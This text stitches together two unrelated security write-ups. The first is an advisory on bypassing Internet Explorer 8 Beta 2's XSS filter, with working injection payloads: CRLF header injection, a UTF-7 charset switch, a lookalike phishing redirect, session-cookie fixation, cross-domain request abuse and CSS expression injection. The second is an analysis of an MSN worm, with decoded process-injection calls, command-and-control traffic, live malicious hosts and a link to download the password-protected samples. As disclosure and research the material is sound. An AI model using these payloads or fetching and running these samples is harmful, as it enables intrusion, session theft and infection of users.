Internet Explorer 8.0 Beta 2 Anti-XSS Filter

Aspect9: Internet Explorer 8.0 Beta 2 Anti-XSS Filter Vulnerabilities

Release Date:
November 24, 2008

Date Reported:
October 5, 2008

Severity:
Medium-High (Execute scripts, Turning Protection Off, Transfer data Cross
Domains)

Vendor:
Microsoft

Systems Affected:
Windows Platform with Internet Explorer 8.0 Beta 2


Overview:
Aspect9 has discovered several vulnerabilities in Microsoft Windows
Internet Explorer 8.0 Beta 2. This new version of Microsoft's famous
browser includes new security improvements such as a Cross Site Scripting
(XSS) filter. This version also includes a new object that safely allows
transferring data across domains, allowing them to interact with each other.

The Anti-XSS filter has been found to have some security holes in the
current implementation. Microsoft decided to filter "Type 1 XSS" which is
free text send to the server being reflected to the user and therefore
injecting HTML code into the website's page. They chose not to handle
certain situations such as injection into a JavaScript tag space, which
would be extremely difficult to filter. The software giant also chose not
to filter injection into HTTP headers, which will drive hackers to focus on
discovering CRLF vulnerabilities.

A quote of Microsoft's Anti-XSS filter design philosophy:
[[[
"Like all security mitigation and protection technologies, the XSS Filter’s
approach does have limitations, being that it is a pragmatic balance
between application compatibility, security, and performance.

Some examples:
* Injection into some contexts is not blocked. Ex: Scenarios where content
can be injected directly into JavaScript without breaking out of a string.

* Injections facilitated by some HTTP headers are not currently blocked.
Ex: “Referer” based injection.

* If a page contains multiple nearby injection points, attacks can be
constructed that thwart the XSS Filter."
]]]

For more information about the Anti-XSS filter:
http://blogs.msdn.com/dross/archive/2008/07/03/ie8-xss-filter-design-
philosophy-in-depth.aspx

In order to understand the contents of this advisory, the reader must be
familiar with the concept of CRLF which is distinguished from CRSF.
http://www.owasp.org/index.php/CRLF_Injection
http://www.owasp.org/index.php/CSRF



Technical Details:

Bypass using CRLF+Encodings:
---------------------------------------------
Microsoft Windows Internet Explorer 8.0 Beta 2 was designed to stop "Type 1
XSS" attacks. CRLF Injection is also XSS type 1 and is not mitigated by the
filter, though the data in the query string will still be filtered.
This means that if an attacker tries to exploit a CRLF for XSS in the
casual manner, used in this demo:
http://www.linkstofiles.com/crlf.py?url=cookie1%3dvalue1;%0D%0A%0D%0A[html][body]
[script]alert('get it?')[/script][/body][/html]

His attack will fail as "[script]" will be filtered to "[sc#ipt]"

However, an attacker can inject a content-type header and overwrite the
page charset and therefore bypass the XSS filter which uses the prior
encoding. A good example for this is with utf-7, the following request:
http://www.linkstofiles.com/crlf.py?url=cookie1%3dvalue1;%0d%0aContent-
Type: text/html; charset%3dutf-7%0d%0a%0d%0a[html][body]+ADw-script+AD4-
alert('owned')+ADw-/script+AD4-[/body][/html]

This will result in:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-7
Server: Microsoft-IIS/6.0
Set-Cookie: url=cooki1=value1;
X-Powered-By: PleskWin
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Sun, 05 Oct 2008 23:46:11 GMT
Connection: close

[html][body]+ADw-script+AD4-alert('owned')+ADw-/script+AD4-[/body][/html];
Content-Type: text/html

This will be rendered as utf-7 and will execute.



Bypass using CRLF+"X-XSS-Protection":
-------------------------------------------------------
In addition to the problem of CRLF being able to re-write the page and
bypass the filter using a different encoding than the one of the page,
Microsoft were kind enough to leave a backdoor AKA feature for developers
to turn the filter off. This header is called "X-XSS-Protection" which gets
a Boolean value of 0 or 1. Injecting "X-XSS-Protection: 0" though CRLF an
attacker can shutdown the XSS protection for the current request.

Demo:
http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%0aX-XSS-Protection: 0
%0d%0a%0d%0a[html][body][script]alert('owned')[/script][/body][/html]

Of course the problem goes further to any HTTP header that can be used
maliciously like setting cookies and by that changing to a different user
then the one logged on, such as stealing their cookie and then replacing it
with a cookie of a bulk user and therefore taking over their session. using
"Location:" header to redirect pages and internal frames/iframes to
look-a-like phishing websites and etc...

Demos:
http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%
0aLocation:http://www.micros0ft.com%0d%0a%0d%0a

http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%0aSet-
Cookie:sessionid%3dblablablabla_bulk_user_md5_sessionid%0d%0a%0d%
0a[html][body]The server is busy, try again in 30 minutes[/body][/html]



CRLF+"XDomainRequestAllowed" --] XDomainRequest Enabling:
---------------------------------------------------------
Having a CRLF injection already gives an attacker the ability to overwrite
the HTTP response BODY, which means he can create a new hidden
image/frame/form and send data through it, data such as the domains cookie.
But it is clear that overwriting the body using CRLF and making it look the
same requires a "fetcher" server side script on the same domain. Also a
network filter or a WAF may deny injection of double CRLF (%0d%0a%0d%0a).
As time goes by and security evolves, the attacker should have a harder
time sending this information out silently.

In IE8, there is a new object called "XDomainRequest" which is designed to
allow safe data exchange across domains.
More information at:
http://msdn.microsoft.com/en-us/library/cc288108(VS.85).aspx

The browser will only allow the client(the JavaScript code) to interact
with that website if the website returns the "XDomainRequestAllowed"
Boolean header.

Using CRLF to inject XDomainRequestAllowed header an attacker can interact
in a CROSS DOMAIN mode with that website without his consent, as it is
being faked by the injected header. This attack concept on the XDomainRequest
in general should be named "XAI" (XDR Allowed Injection)

This is a demo request to a CRLF vulnerable web page:
http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%
0aXDomainRequestAllowed: 1

This is how the attacker's script would look like:
------------------------------------------------
[script]
try {
xdr = new XDomainRequest();
xdr.onload = function() {
alert(xdr.responseText);
}
xdr.open("GET", "http://www.linkstofiles.com/crlf.py?url=cooki1%
3dvalue1;%0d%0
aXDomainRequestAllowed: 1");
xdr.send("");
} catch (e) {
alert(e.description)
}
[/script]
------------------------------------------------
The attacker can now transfer data to/from that domain other domains with just 1
header injection, a new, by design weapon to replace leak data with XSS.
An attacker can use the new feature to interact with web servers (i.e. send and
receive data from those domains) by pretending to have the authorization to do so,
using a single CRLF header injection.
This is an ultimate vulnerability that exploits this new feature to enable easy
information data leakage and cross domain attacks.



UTF-7 Websites are not filtered:
-------------------------------------------
When the page charset is set to utf-7 whether by the http header or by a
meta tag, the Anti-XSS filter will not apply on this page, allowing a utf-7
encoded injected html code to execute. In other words, utf-7 content sent
to utf-7 encoded web pages is not filtered, therefore allowing XSS attacks
on utf-7 web pages.

I must admit that I have never met a website written in utf-7 for non-malicious
purposes, but it is still a feature and there are many website that
implement language templates and receive the charset as a parameter from
the query string or the cookie.

Demos:
http://www.linkstofiles.com/xssurlnoparams.py/+AD4-+ADw-script+AD4-alert
('see?')+ADw-/script+AD4-+ADw-div

http://www.linkstofiles.com/xssurlnoparams.py?data=+AD4-+ADw-script+AD4-
alert('see?')
+ADw-/script+AD4-+ADw-div


Direct bypass using any double injection:
-----------------------------------------
A quote from the filter's architecture implementation:
[[[
"If a page contains multiple nearby injection points, attacks can be
constructed that thwart the XSS Filter."
]]]
Well, that is not accurate.

ANY second appearance of the injected data will allow execution of script
code. The concept is that data inside tags such as script and style is
parsed by their own parser.

The CSS(style) parser has 2 characteristics that differentiate it from the
script parser:
1) It is a silent parser (there is no indication of failure)
2) It is executing as batch operations per block, which means that closing
A NON EXISTING (never opened) block will cause parsing of the following
blocks. What does this mean?!?!

It means that in a quite common scenario of any text injected just twice at
any position inside the HTML(except inside a textarea/script/style tags,
these can also be fixed by putting [/textarea] in a css comment) of the
page will cause at the first point where the code is injected to the page

} BODY{a:expression(alert('hi'))};[/style]***[style]***

a style tag is opened and anything after it will be ignored by a silent css
parser error and on the second injection:

***} BODY{a:expression(alert('hi'))};[/style]***[style]

a new style block will be opened, rendered and this would automatically
execute script code!

Demo:
http://www.linkstofiles.com/doublexss.py?username=} BODY{a:expression
(alert('hi'))};[/style][style]


Filter False Positives:
-----------------------
The following text send to a page as parameters will trigger a false-positive
match by the Anti-XSS filter:

["script"]alert('innocent code')[/script]
['script']alert('innocent code')[/script]
"[[whatever]script]alert('innocent code')[/script]

The following should trigger on most CSS design forums with a preview
feature:
[style]@import[/style]
[style]x:y(1)[/style]

This means that a CSS tutorial web page cannot send to itself or to another
page the following raw text (whether it will be treated as text or as HTML
by the receiving page):

[style]color:rgb(1,2,3)[/style]



Vendor Status:
Microsoft's response regarding the CRLF issues:
“We will not be lead to compromise the XSS Filter’s web site compatibility
by attempting to address every conceivable XSS attack scenario.”

Microsoft's response regarding the STYLE issue:
"We hope we can get a change in prior to IE8 RC1"


Credit:
Rafel Ivgi


Greetings:
David Ross, the_pull, Liu Die Yu, Arkon, JonD, lorgandon, xbxice, Budo, Reiter,
Inga, Lucid, h.p.c, Dror Shalev, wir3less, Zull, 0fir0, dbrod, ax1les,
whitehawkofjustice


Disclaimer
The information within this paper may change without notice.
Use of this information constitutes acceptance for use in an
AS IS condition. There are no warranties, implied or express,
with regard to this information. In no event shall the author
be liable for any direct or indirect damages whatsoever
arising out of or in connection with the use or spread of
this information. Any use of this information is at the
user's own risk.

A new MSN Worm

Are viruses attracted to me specifically or it happens to everyone and they just don't notice or say nothing about it. It getting really hard to speak with people using instant messengers and to be sure it is them sending you a message and not a virus.

Before i begin, let's notice a few close viruses :)
This: http://www.cisrt.org/enblog/read.php?106
Is a different one, older one from July. Reported and still not fully detected by vendors.

Now for the painful part, this:
http://blog.threatfire.com/2008/06/msn-im-worm.html
a little older variant that was covered in June!!! that is 5 month ago!! the detection rates were nasty, they still are as you will see afterwards...
The point I don't get is why don't AV vendors take care of the missed detections at least AFTER some security researcher publishes an analysis?!

I got a message from a friend who is currently having a trip in thailand and i was amazed to see that his computer sent me a message with a link with my msn email in it. I clicked the link and here a file download prompt pops up and the file name is: "virus-PIC006.JPG-www.myspace.exe".
Well, as tired as i may be, i would never be THAT tired to execute it :)

So i saved it and started to analyze!
Well what is it? it is a self extracting cab archive(almost original :) with resource details spoofed to be a microsoft file! (it even looks like it was edited manually using a tool such as Resource Hacker)
File Version: "6.0.2900.2180"
Description: "Win32 Cabinet Self-Extractor " (may be they thought we won't notice the spaces :)
Company: "Microsoft Corporation"
File Version: "6.00.2900.2180 (xpsp_sp2_rtm.040803-2158)"
Internal Name: "Wextract "
Language: "English (United States)"
Original File name: "WEXTRACT.EXE "
Product Name: "Microsoft® Windows® Operating System"
Product Version: "6.00.2900.2180"
























Well again it seems that Winrar is more effective than an Anti-Virus, where it detects it as a self-extracting archive so i know it's no simple exe:
























The funniest think about this "trap file" is that it has double extension of .jpg...........exe that comes with the default icon of a jpeg file






BUT when you switch to DETAILS view in the browser, then you see its 16x16 icon which is a setup icon:



Dear bad guys! use some of that money you steal to do some Q&A for your bot droppers!
O.K let's see if our friends know it:
























9 of 36...wow!
Could it be that Symantec, Mcafee, Kaspersky, F-Secure, Panda, Sophos all the great brands does not even suspect it?! and that Microsoft which is quite new in the AV business catches it?! I want to point out Dr. Web again for being a good detector(comparing to the concept of an Anti-Something) as Kaspersky once were, before they went to enterprise and from tech to GUI (if i was kaspersky, i would by dr web...just a thought)

So we extract the sfx and we get a file called test.exe with a jpg icon, this time it's not an archive, here comes the real shame, it is not even packed!!!
Let's see if our friends know it:
























it is just a simple VC++ executable that uses dynamic function calls with the simplest use of a rolling xor running on the string "somenigz', quite amusing :)

.text:0040122E mov [ebp+var_340], 0
.text:00401238 push offset Source ; "¦âöÉàöíâPÆöéé¦"
.text:0040123D call sub_401000
.text:00401242 add esp, 4
.text:00401245 push eax ; lpProcName
.text:00401246 push offset aFgqfaXaa ; "Üöâƒö¥-+¯ò¥¥"
.text:0040124B call sub_401000
.text:00401250 add esp, 4
.text:00401253 push eax ; lpModuleName
.text:00401254 call ds:GetModuleHandleA
.text:0040125A push eax ; hModule
.text:0040125B call ds:GetProcAddress

You can see these letters "Üöâƒö¥-+¯ò¥¥" which are clearly XORed sent to a function, the classic "decrypt my dll name and then the function in it and call it". Of course "sub_401000" is the decrypt function:

.text:0040105D Rolling_Xor_Loop: ; CODE XREF: sub_401000+85j
.text:0040105D mov edx, [ebp+var_C]
.text:00401060 add edx, 1
.text:00401063 mov [ebp+var_C], edx
.text:00401066
.text:00401066 loc_401066: ; CODE XREF: sub_401000+5Bj
.text:00401066 cmp [ebp+var_C], 9
.text:0040106A jnb short loc_401087
.text:0040106C mov eax, [ebp+Str]
.text:0040106F add eax, [ebp+var_8]
.text:00401072 mov ecx, [ebp+var_C]
.text:00401075 mov dl, [eax]
.text:00401077 xor dl, byte ptr aSomenigz[ecx] ; "somenigz"
.text:0040107D mov eax, [ebp+Str]
.text:00401080 add eax, [ebp+var_8]
.text:00401083 mov [eax], dl
.text:00401085 jmp short Rolling_Xor_Loop

Decoded XORed strings, by order, are:
CreateProcessA
kernel32.dll
NtUnmapViewOfSection
ntdll.dll
VirtualAllocEx
kernel32.dll
WriteProcessMemory
kernel32.dll
GetThreadContext
kernel32.dll
SetThreadContext
kernel32.dll
ResumeThread

This shows us this was not written by simple kids! this is a professional code injection using thread contexts, this teaches us that the guys "on the wild" have learned beyond besides CreateRemoteThread!!!

It seems that this version relates to: burimilol.com which is unknown to "norton safe web" (yeah right): https://safeweb.norton.com/report/show?name=burimilol.com but it's older variant is known "burimilol.net": https://safeweb.norton.com/report/show?name=burimilol.net
What separates us from the criminals is the "protected domain services" which is mostly used by criminals...again no internet cops :)

Now it executes itself! parses its duplicate's PE and sections and injects code into it!
Then it dumps a hidden exe in %windir%(c:\windows) called fxstaller.exe(48kb) which this time has a jpg icon in both the 32x32 and the 16x16 :)
























This exe drops/downloads image.exe(48kb) in a new temp folder in %temp%
























This results are crippy!!! i guess Dr.Web also failed and there is no one left to trust but Microsoft!
Then service.exe(144kb) is dropped at %windir$\system32\service.exe, a hidden file with a darth vader icon :)























This exe of darkness downloads and executes a file to c:\msn.exe


Now some deeper information, for the researchers among us. Why their url is not blocked?! because they are tricky!!!
They "try" do download http://www.freewebtown.com/tatrusa/test2.jpg which redirects to
http://fwt.txdnl.com/6-40/t/a/tatrusa/test2.jpg
Then it requests
GET /cn?sid=40545F5A4F1F545B365C365836085B51363A0C1B1F000A0C4939080A02495B4F0A000D542F5C2B282F2D5A5C5A2D5E2C5D5A5B282B2B5E582C5F5151592D2C515D2A5A5A4F081D544F131854594F1D1954594F080F0F000D54585F515D51504F04061B1901000D5408075B0E4F1B0C1F000D54505C505B692901 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 85.17.166.233

And gets

HTTP/1.1 200 OK
Date: Thu, 13 Nov 2008 00:04:56 GMT
Server: Apache/2.0.61 (FreeBSD) PHP/5.2.3 with Suhosin-Patch mod_fastcgi/2.4.2
Set-Cookie: sid=EE1DDFD5947B45F595556BD6D7E9C1A7; expires=Sat, 07-Nov-2009 19:04:56 GMT

g_InstallDll: http://77.93.75.153/img/upd.dll
Content-Length: 127
Connection: close
Content-Type: text/html

34034a4615431643424540474651151e4a4640445116034a354344403134363435464641464633333543454346414f434f4e3431313131315104114a047743

Then it sends stuff about me, to get the commands for this cool trojan!

POST / HTTP/1.1
g_Version: 1156
g_ClientGUID: ,`Xc,q!`!q-Kk!JcXX-yK9NNGqKNk=!!
g_UID: Xk!-,=c=Xyy9yyqqXkJky9NkNh=,,,,,
g_SetID: [QJx
g_AffiliateID: y9NkNh
g_ResourceID: MnOM
g_URL: 8

g_Client: .Sf"yhJ:y9N:y!y:9` %?[H[Q]F:FBxFf@8/FQ"`:y:J9GGg)O?BFVO S[VE Ji8.K"-:G:`-!G:y!8vR"^yJG8Z}V"|OW?Om8*) uOxFfUO?On U}" =?}m8rc="GG^G!^aa^NG^`9^Gk8*K [VV}]QUf"0S*S!p[IO"f[n[f)rvSp[IO"f[n[fb8 =?}m86Wn"GGGGGkGh>#GGGGGkGq8p]IWO? }a H?}VOff}?f" y8.f_fO?cnIFQ" 1Of8o)]VV=}QQ"QOBO?o=}QQ"QOBO?o=}QQp]I"Go,FAO" ="z/.pq*/)zf~fUOI!JzQQQAPFF.:nAAo.QF fFMO" !kkoqOaX?}mfO?"D="zS?}x?[I ,FAOfz.QUO?QOU KYHA}?O?z.KeSZ*uK:KeKD ^Q}'}IOoqOfEU}H)~fUOI"qOfEU}Ho
g_GZipSupported: U?]O
g_RevID: h9J-
g_First: y
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: bescoro.com
Content-Length: 37
Cache-Control: no-cache

)vcv.)v.=) 0%nDDn@%r}MFAA[|FfU}?~" @b

And gets:
HTTP/1.1 200 Ok
Server: nginx/0.5.35
Date: Thu, 13 Nov 2008 00:05:26 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: close
Pragma: No-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 219
Content-Language: en
Set-Cookie: uid=Xk!-,=c=Xyy9yyqqXkJky9NkNh=,,,,,; expires=Mon, 09-Dec-2007 13:46:00 GMT
Set-Cookie: guid=,`Xc,q!`!q-Kk!JcXX-yK9NNGqKNk=!!; expires=Mon, 09-Dec-2007 13:46:00 GMT
Set-Cookie: cn=y; expires=Mon, 09-Dec-2007 13:46:00 GMT
Location:
Test: [B[FA
g_AdCategory: )}IO
g_ConnectionPerDay: k
g_MaxCategoryAppearances:
g_Popup: U?]O
g_PopupPerDay: yGy
g_RSD: 'UUH"88}WFOWO:V}I8x}88o'UUH"88nO?}]fUF:V}I8x}88o
g_RedirectServers: 'UUH"88NJ:hN:J!`:!`8x}88o'UUH"88N`:y-:y99:y-G8x}88o'UUH"88N!:ykh:yy`:ykN8x}88o
g_RevFlag: G
g_ServerIPs: gWOfV}?}:V}I"NGigNh:yNN:y9:!9"NGigN!:ykh:yy`:yk-"NGi
g_SetIDWas: _Q?OAO[fOn
g_StatisticsUploadDelay: y
g_StealFocus: a[AfO
g_UID: Xk!-,=c=Xyy9yyqqXkJky9NkNh=,,,,,
g_URL: 8

Y.r.r..G.....=......Q..|$u..kM.+`.......u..-.L..7...7{G.
.w.=.(r...%.......u........NsGD.a.2...g.d....I.6..:T.............R.L_......$6.G.......RZeZ>
+=/~..`Y. ........B........X
..'.a.b..7...O>n.i..Y.._9_%.
...qre../.p.

Then it "trys" to download http://www.freewebtown.com/tatrusa/oos.jpg and again redirected to: http://fwt.txdnl.com/6-40/t/a/tatrusa/oos.jpg
Then it downloads http://www.j2arts.com/images/msn.exe to c:\msn.exe
From here it looks like it is the same old tech viruses (keyloggers and the classics, i don't have time for these files.....):
rundll32.exe C:\WINDOWS\system32\vtUolLBS.dll,a (vtUolLBS == random name)
rundll32.exe C:\WINDOWS\system32\nnnljiiI.dll,c
rundll32.exe C:\WINDOWS\system32\iifgHbyY.dll,a

So let's summarize!

Evil hosts:
burimilol.net
burimilol.com
www.j2arts.com
www.freewebtown.com
fwt.txdnl.com
bescoro.com
77.93.75.153
85.17.166.233

The AV vendors should receive my scanned files from virustotal.
I will also make an exception on this one and upload a sample for all the involved executable!
http://www.linkstofiles.com/MSNWorm.rar
archive password: "virus"

Stop them, sue them, black list them, hack them, they are stealing from all of us!
Fight for digital law enforcement!!!